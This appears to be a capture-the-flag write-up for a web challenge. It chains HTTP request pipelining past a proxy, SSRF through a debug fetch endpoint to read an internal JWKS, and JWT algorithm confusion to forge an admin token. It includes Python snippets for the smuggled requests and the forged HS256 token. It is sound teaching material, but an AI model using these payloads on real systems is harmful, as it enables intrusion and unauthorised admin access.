1. HTTP Request Pipelining#

The proxy’s parseHeaders() function only parses the first request but forwards the entire buffer to the backend. We can smuggle requests!

2. JWT Algorithm Confusion#

The app accepts both RS256 (asymmetric) and HS256 (symmetric). The HMAC secret is the n field from JWKS:

1
const hmacSecret = (data.keys[0].n || '').toString();

3. SSRF via /debug/fetch#

Can read internal services like the JWKS server on port 5000.

Step 1: Bypass Proxy with HTTP Pipelining#

1
# First request: Harmless, passes proxy check
2
request1 = "GET / HTTP/1.1\r\nHost: app\r\n\r\n"
3

4
# Second request: Smuggled /debug request
5
request2 = "GET /debug/fetch?url=http://localhost:5000/.well-known/jwks.json HTTP/1.1\r\nHost: app\r\nX-Forwarded-For: 127.0.0.1\r\n\r\n"
6

7
# Send both in one packet
8
sock.sendall((request1 + request2).encode())

Step 2: Extract JWKS via SSRF#

The smuggled request fetches the JWKS, revealing the HMAC secret in the n field.

Step 3: Forge Admin JWT#

1
import jwt
2
payload = {'role': 'admin', 'user': 'attacker'}
3
token = jwt.encode(payload, 'secret-from-jwks-n-field', algorithm='HS256')

Step 4: Retrieve the Flag#

Pipeline another request with the forged JWT to /admin/flag.